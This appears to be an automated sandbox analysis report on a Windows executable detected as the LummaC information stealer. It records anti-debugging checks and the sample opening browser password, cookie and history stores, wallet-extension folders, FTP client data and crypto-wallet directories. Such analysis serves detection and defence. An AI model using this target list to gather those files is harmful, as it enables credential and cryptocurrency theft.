Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Thread information set: HideFromDebugger			Jump to behavior

Source: C:\Users\user\Desktop\nvtoaldlrg.exe

Code function: 0_2_00B09630 LdrInitializeThunk,

0_2_00B09630

Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Code function: 0_2_032D8094 mov eax, dword ptr fs:[00000030h]		0_2_032D8094
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Code function: 0_2_032D7DCA mov eax, dword ptr fs:[00000030h]		0_2_032D7DCA

Source: C:\Users\user\Desktop\nvtoaldlrg.exe

Code function: 0_2_00BD5268 cpuid

0_2_00BD5268

Source: C:\Users\user\Desktop\nvtoaldlrg.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\nvtoaldlrg.exe

Code function: 0_2_00B76CC0 GetTimeZoneInformation,

0_2_00B76CC0

Source: nvtoaldlrg.exe, 00000000.00000003.994650409.000000000148F000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.923936426.000000000147F000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.923936426.000000000148F000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1045283888.0000000001514000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.923610742.0000000001514000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000002.1047004011.0000000001514000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021479952.000000000148F000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994470945.0000000001514000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\nvtoaldlrg.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: nvtoaldlrg.exe PID: 7128, type: MEMORYSTR
Source: Yara match	File source: 0.2.nvtoaldlrg.exe.ac0000.0.unpack, type: UNPACKEDPE

Found many strings related to Crypto-Wallets (likely being stolen)

Source: nvtoaldlrg.exe, 00000000.00000003.1021457765.00000000014DA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: :20971520},{"t":0,"p":"%appdata%\\Electrum\\wallets","m":["*"],"z":"Wallets/
Source: nvtoaldlrg.exe, 00000000.00000003.1021457765.00000000014DA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ets","m":["*"],"z":"Wallets/ElectronCash","d":0,"fs":20971520},{"t":0,"p":"%F
Source: nvtoaldlrg.exe, 00000000.00000003.1021457765.00000000014DA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ,"window-state.json"],"z":"Wallets/Binance","d":1,"fs":20971520},{"t":0,"p":8
Source: nvtoaldlrg.exe, 00000000.00000003.1021457765.00000000014DA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: a%\\com.liberty.jaxx\\IndexedDB","m":["*"],"z":"Wallets/JAXX New Version","d
Source: nvtoaldlrg.exe, 00000000.00000003.1021457765.00000000014DA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: lets/Ledger Live","d":2,"fs":20971520},{"t":0,"p":"%appdata%\\Exodus\\exodusD
Source: nvtoaldlrg.exe, 00000000.00000003.1021457765.00000000014DA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: lets/Ledger Live","d":2,"fs":20971520},{"t":0,"p":"%appdata%\\Exodus\\exodusD
Source: nvtoaldlrg.exe, 00000000.00000003.921858866.00000000014D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: tget Wallet"}],"c":[{"t":0,"p":"%appdata%\\Ethereum","m":["keystore"],"z":"W
Source: nvtoaldlrg.exe, 00000000.00000003.921555375.000000000147F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: nvtoaldlrg.exe, 00000000.00000003.921858866.00000000014D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: tget Wallet"}],"c":[{"t":0,"p":"%appdata%\\Ethereum","m":["keystore"],"z":"W

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\nvtoaldlrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\nvtoaldlrg.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\nvtoaldlrg.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Directory queried: C:\Users\user\Documents\EEGWXUHVUG	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Directory queried: C:\Users\user\Documents\EEGWXUHVUG	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Directory queried: C:\Users\user\Documents\QCFWYSKMHA	Jump to behavior
